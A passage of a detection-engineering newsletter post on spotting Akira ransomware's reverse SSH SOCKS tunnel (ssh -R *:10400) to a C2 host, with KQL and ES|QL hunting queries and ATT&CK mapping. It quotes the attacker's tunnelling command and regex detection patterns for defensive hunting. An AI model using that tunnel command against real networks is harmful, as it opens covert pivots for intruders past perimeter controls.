data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/e888aa68-d0b0-4a8b-83c3-132f65409e22_997x898.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:898,&quot;width&quot;:997,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:128461,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:false,&quot;topImage&quot;:true,&quot;internalRedirect&quot;:&quot;https://securityinbits.substack.com/i/202138433?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe888aa68-d0b0-4a8b-83c3-132f65409e22_997x898.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!tVLL!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe888aa68-d0b0-4a8b-83c3-132f65409e22_997x898.png 424w, https://substackcdn.com/image/fetch/$s_!tVLL!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe888aa68-d0b0-4a8b-83c3-132f65409e22_997x898.png 848w, https://substackcdn.com/image/fetch/$s_!tVLL!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe888aa68-d0b0-4a8b-83c3-132f65409e22_997x898.png 1272w, https://substackcdn.com/image/fetch/$s_!tVLL!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe888aa68-d0b0-4a8b-83c3-132f65409e22_997x898.png 1456w" sizes="100vw" fetchpriority="high"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p><em>Lab topology. The compromised host (DESKTOP-HR) opens a reverse SSH tunnel to the external C2, which exposes a SOCKS proxy on port 10400. The attacker drives internal connections back through the tunnel, and those connections originate from DESKTOP-HR. That origin is what puts them under </em><code>ssh.exe</code><em> in endpoint telemetry.</em></p><p>SSH has three forwarding modes, and the gap between them is the whole story:</p><ul><li><p><code>-L</code> is a local port forward with a fixed destination.</p></li><li><p><code>-R</code> is a remote port forward. It also takes a fixed destination, but if you leave the destination off, it becomes a SOCKS proxy.</p></li><li><p><code>-D</code> is a local dynamic SOCKS proxy.</p></li></ul><p>The dangerous case is <code>-R</code> with no destination after the port. That is not the port forwarding most people picture. Since OpenSSH 7.6, giving <code>-R</code> a bind and a port but no target tells SSH to open that remote port as a SOCKS 4/5 proxy. The name for this is reverse dynamic forwarding. A remote client speaks SOCKS to the port, asks for <code>host:port</code>, and SSH dials that connection for it. The dial happens from the compromised host.</p><p>Your whole detection rests on that one fact. The outbound connections come from the machine running <code>ssh.exe</code>, not from the C2 box. SOCKS is a generic relay underneath, indifferent to whether the bytes are HTTP, SMB, or RDP. It connects and it pipes.</p><p>Take the Akira command apart, <code>ssh root@&lt;host&gt; -R *:10400</code>:</p><ul><li><p><code>*</code> binds the listener to every interface on the C2 host instead of loopback only. The server&#8217;s <code>GatewayPorts</code> setting decides whether that bind is even permitted.</p></li><li><p><code>10400</code> is the port the SOCKS proxy listens on, over on the C2.</p></li></ul><p>The same <code>-R</code> SOCKS mechanism shows up in benign work and in attacks. A destination-less <code>-R</code> is not a verdict by itself. An operator can stand up this exact proxy for perfectly good reasons, and plenty do. If you walked in believing &#8220;destination-less means malicious,&#8221; Section 4 is where that breaks.</p><p>The proxy is live on the C2. So what moves through it, and why is it invisible to you?</p><div><hr></div><h1>2. This Isn&#8217;t Just Akira</h1><p>One credibility check before the detection work: this is a recurring pattern, not an Akira habit.</p><p>SSH and SOCKS tunneling for pivoting and C2 turns up across the last three years of intrusion reporting, in Akira, in BlackCat/ALPHV, and in RansomHub activity spanning 2023 to 2025. CISA has named Akira&#8217;s use of tunneling utilities for C2 that slips past the perimeter. The precise <code>ssh -R *:10400</code> reverse-dynamic-forwarding command only appears in The DFIR Report&#8217;s writeup; the rest of the corpus documents the broader behavior, including SSH tunneling, SOCKS proxying, and utilities such as Ngrok, Chisel, and Ligolo-ng.</p><p>Two MITRE ATT&amp;CK techniques describe what this <code>-R</code> setup does. The encrypted SSH channel that carries the traffic is T1572 (Protocol Tunneling). The SOCKS proxy relaying internal connections on the attacker&#8217;s behalf is T1090 (Proxy), and because the relay runs on an attacker-controlled host outside the victim network, it falls specifically under T1090.002 (External Proxy). The detection here keys on the behavior rather than on one command string, which is why it carries past any single group.</p><div><hr></div><h1>3. From Sigma Logic to MDE Hunting: the blind spot</h1><p>Start from the published Sigma rule, <em>Port Forwarding Activity Via SSH.EXE</em>. It checks that the image ends in <code>ssh.exe</code> and the command line contains <code>-R</code>. It fires correctly, and it ships with a false-positive note about legitimate admin port forwarding, because it matches on the string rather than the behavior. It has no way to tell an admin apart from an attacker.</p><p></p><p>Convert it to a process query and run it. Process creation gives you intent: <code>ssh.exe</code> launched with <code>-R</code>.</p><h2>KQL (MDE, DeviceProcessEvents)</h2><pre><code><code>DeviceProcessEvents
| where Timestamp &gt; ago(1h)
| where FileName =~ "ssh.exe"
| where ProcessCommandLine matches regex @"\s-\w*R" 
| project Timestamp, DeviceName, ActionType, FileName, ProcessCommandLine,
    InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessParentFileName,
    InitiatingProcessVersionInfoProductVersion, InitiatingProcessIntegrityLevel
| order by Timestamp asc</code></code></pre><p class="button-wrapper" data-attrs="{&quot;url&quot;:&quot;https://newsletter.securityinbits.com/subscribe?&quot;,&quot;text&quot;:&quot;Subscribe now&quot;,&quot;action&quot;:null,&quot;class&quot;:null}" data-component-name="ButtonCreateButton"><a class="button primary" href="https://newsletter.securityinbits.com/subscribe?"><span>Subscribe now</span></a></p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!rS2i!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F14b16a5c-80f1-4934-9b2b-450ee5098363_1084x626.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!rS2i!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F14b16a5c-80f1-4934-9b2b-450ee5098363_1084x626.png 424w, https://substackcdn.com/image/fetch/$s_!rS2i!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F14b16a5c-80f1-4934-9b2b-450ee5098363_1084x626.png 848w, https://substackcdn.com/image/fetch/$s_!rS2i!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F14b16a5c-80f1-4934-9b2b-450ee5098363_1084x626.png 1272w, https://substackcdn.com/image/fetch/$s_!rS2i!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F14b16a5c-80f1-4934-9b2b-450ee5098363_1084x626.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!rS2i!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F14b16a5c-80f1-4934-9b2b-450ee5098363_1084x626.png" width="1084" height="626" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/14b16a5c-80f1-4934-9b2b-450ee5098363_1084x626.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:626,&quot;width&quot;:1084,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:137773,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://securityinbits.substack.com/i/202138433?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F14b16a5c-80f1-4934-9b2b-450ee5098363_1084x626.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!rS2i!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F14b16a5c-80f1-4934-9b2b-450ee5098363_1084x626.png 424w, https://substackcdn.com/image/fetch/$s_!rS2i!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F14b16a5c-80f1-4934-9b2b-450ee5098363_1084x626.png 848w, https://substackcdn.com/image/fetch/$s_!rS2i!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F14b16a5c-80f1-4934-9b2b-450ee5098363_1084x626.png 1272w, https://substackcdn.com/image/fetch/$s_!rS2i!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F14b16a5c-80f1-4934-9b2b-450ee5098363_1084x626.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>Notice the filter is a regex (<code>\s-\w*R</code>) rather than <code>contains "-R"</code>. That matters because attackers tend to bundle the flag into a no-argument cluster like <code>-NR</code>, <code>-fNR</code>, or <code>-fNTR</code> to background the tunnel, and the regex still catches the <code>-R</code> inside those. It is capital-R only and case-sensitive on purpose.</p><h2>ES|QL (Elastic, Sysmon EID 1 / ECS)</h2><pre><code><code>FROM logs-windows.sysmon_operational-default
| WHERE @timestamp &gt; NOW() - 1 hours
| WHERE event.code == "1"
| WHERE process.name == "ssh.exe"
| WHERE process.command_line RLIKE """.*\s-[A-Za-z]*R.*"""
| KEEP @timestamp, host.name, process.name, process.command_line,
       process.parent.name, process.parent.command_line,
       user.name, winlog.event_data.IntegrityLevel
| SORT @timestamp ASC
| LIMIT 1000</code></code></pre><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!qFAg!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F673fa42f-b16c-4c57-bfa3-21b463d58a67_1400x590.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!qFAg!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F673fa42f-b16c-4c57-bfa3-21b463d58a67_1400x590.png 424w, https://substackcdn.com/image/fetch/$s_!qFAg!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F673fa42f-b16c-4c57-bfa3-21b463d58a67_1400x590.png 848w, https://substackcdn.com/image/fetch/$s_!qFAg!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F673fa42f-b16c-4c57-bfa3-21b463d58a67_1400x590.png 1272w, https://substackcdn.com/image/fetch/$s_!qFAg!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F673fa42f-b16c-4c57-bfa3-21b463d58a67_1400x590.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!qFAg!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F673fa42f-b16c-4c57-bfa3-21b463d58a67_1400x590.png" width="1400" height="590" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/673fa42f-b16c-4c57-bfa3-21b463d58a67_1400x590.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:590,&quot;width&quot;:1400,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:150866,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://securityinbits.substack.com/i/202138433?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F673fa42f-b16c-4c57-bfa3-21b463d58a67_1400x590.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!qFAg!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F673fa42f-b16c-4c57-bfa3-21b463d58a67_1400x590.png 424w, https://substackcdn.com/image/fetch/$s_!qFAg!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F673fa42f-b16c-4c57-bfa3-21b463d58a67_1400x590.png 848w, https://substackcdn.com/image/fetch/$s_!qFAg!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F673fa42f-b16c-4c57-bfa3-21b463d58a67_1400x590.png 1272w, https://substackcdn.com/image/fetch/$s_!qFAg!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F673fa42f-b16c-4c57-bfa3-21b463d58a67_1400x590.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>Most writeups stop right here: ssh.exe plus -R, suspicious, go monitor for it.</p><p>The trouble is that the process event proves presence, not pivot. The initiating process reads <code>ssh.exe</code> for every move the attacker makes. NetExec, nmap, curl, lateral movement, none of them surface in a command line, because they run inside the encrypted tunnel.</p><p>If the process can&#8217;t prove it, the network has to.</p><div><hr></div><h1>4. Proving the Pivot in Network Telemetry</h1><p>You don&#8217;t have to see the tool. You read what it leaves behind.</p><p>While <code>ssh.exe</code> is acting as the SOCKS client, each outbound connection it opens for the proxy lands in network telemetry, tagged with <code>ssh.exe</code> as the initiating process and the compromised host as the local IP. The tunneled tool&#8217;s command line is still nowhere in sight, and that absence is exactly the problem you started with. But the traffic&#8217;s shape does show up, and the shape carries enough.</p><h2>KQL (MDE, DeviceNetworkEvents)</h2><pre><code><code>DeviceNetworkEvents
| where Timestamp &gt; ago(1h)
| where InitiatingProcessFileName =~ "ssh.exe"
| where InitiatingProcessCommandLine matches regex @"\s-\w*R" 
| project Timestamp, DeviceName, ActionType, RemoteIP, RemotePort, RemoteUrl,
    LocalIP, LocalPort, Protocol,
    InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessParentFileName,
    InitiatingProcessVersionInfoProductVersion, InitiatingProcessIntegrityLevel
| order by Timestamp asc</code></code></pre><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!OXzZ!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe7692b14-01a0-4417-8a92-174684aef23f_1896x402.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!OXzZ!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe7692b14-01a0-4417-8a92-174684aef23f_1896x402.png 424w, https://substackcdn.com/image/fetch/$s_!OXzZ!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe7692b14-01a0-4417-8a92-174684aef23f_1896x402.png 848w, https://substackcdn.com/image/fetch/$s_!OXzZ!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe7692b14-01a0-4417-8a92-174684aef23f_1896x402.png 1272w, https://substackcdn.com/image/fetch/$s_!OXzZ!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe7692b14-01a0-4417-8a92-174684aef23f_1896x402.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!OXzZ!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe7692b14-01a0-4417-8a92-174684aef23f_1896x402.png" width="1456" height="309" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/e7692b14-01a0-4417-8a92-174684aef23f_1896x402.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:309,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:179540,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://securityinbits.substack.com/i/202138433?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe7692b14-01a0-4417-8a92-174684aef23f_1896x402.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!OXzZ!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe7692b14-01a0-4417-8a92-174684aef23f_1896x402.png 424w, https://substackcdn.com/image/fetch/$s_!OXzZ!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe7692b14-01a0-4417-8a92-174684aef23f_1896x402.png 848w, https://substackcdn.com/image/fetch/$s_!OXzZ!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe7692b14-01a0-4417-8a92-174684aef23f_1896x402.png 1272w, https://substackcdn.com/image/fetch/$s_!OXzZ!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe7692b14-01a0-4417-8a92-174684aef23f_1896x402.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a></figure></div><h2>ES|QL (Elastic, Sysmon EID 3)</h2><p>Elastic puts a structural wrinkle in front of you here, and it is worth understanding rather than fighting. Sysmon spreads the evidence over two event types. EID 1 (process start) holds the <code>-R</code> command line. EID 3 (network connection) holds the destinations but carries no command line at all. On its own, neither event proves the pivot. The fix is to filter EID 3 by image and stitch it back to the start event on <code>process.entity_id</code>, the Sysmon ProcessGuid.</p><pre><code><code>// EID 3 has no CommandLine field &#8212; filter by image only, pivot via process.entity_id
FROM logs-windows.sysmon_operational-default
| WHERE @timestamp &gt; NOW() - 1 hour
| WHERE event.code == "3"
  AND process.name == "ssh.exe"
| KEEP @timestamp, host.name, destination.ip, destination.port, destination.domain,
       source.ip, source.port, network.transport,
       process.name, process.entity_id, user.name
| SORT @timestamp ASC
| LIMIT 1000</code></code></pre><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!8mN5!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F89b2dbb7-aa1d-4aef-9e70-4e196b121685_1224x641.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!8mN5!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F89b2dbb7-aa1d-4aef-9e70-4e196b121685_1224x641.png 424w, https://substackcdn.com/image/fetch/$s_!8mN5!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F89b2dbb7-aa1d-4aef-9e70-4e196b121685_1224x641.png 848w, https://substackcdn.com/image/fetch/$s_!8mN5!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F89b2dbb7-aa1d-4aef-9e70-4e196b121685_1224x641.png 1272w, https://substackcdn.com/image/fetch/$s_!8mN5!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F89b2dbb7-aa1d-4aef-9e70-4e196b121685_1224x641.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!8mN5!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F89b2dbb7-aa1d-4aef-9e70-4e196b121685_1224x641.png" width="1224" height="641" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/89b2dbb7-aa1d-4aef-9e70-4e196b121685_1224x641.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:641,&quot;width&quot;:1224,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:100515,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://securityinbits.substack.com/i/202138433?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F89b2dbb7-aa1d-4aef-9e70-4e196b121685_1224x641.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!8mN5!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F89b2dbb7-aa1d-4aef-9e70-4e196b121685_1224x641.png 424w, https://substackcdn.com/image/fetch/$s_!8mN5!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F89b2dbb7-aa1d-4aef-9e70-4e196b121685_1224x641.png 848w, https://substackcdn.com/image/fetch/$s_!8mN5!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F89b2dbb7-aa1d-4aef-9e70-4e196b121685_1224x641.png 1272w, https://substackcdn.com/image/fetch/$s_!8mN5!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F89b2dbb7-aa1d-4aef-9e70-4e196b121685_1224x641.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 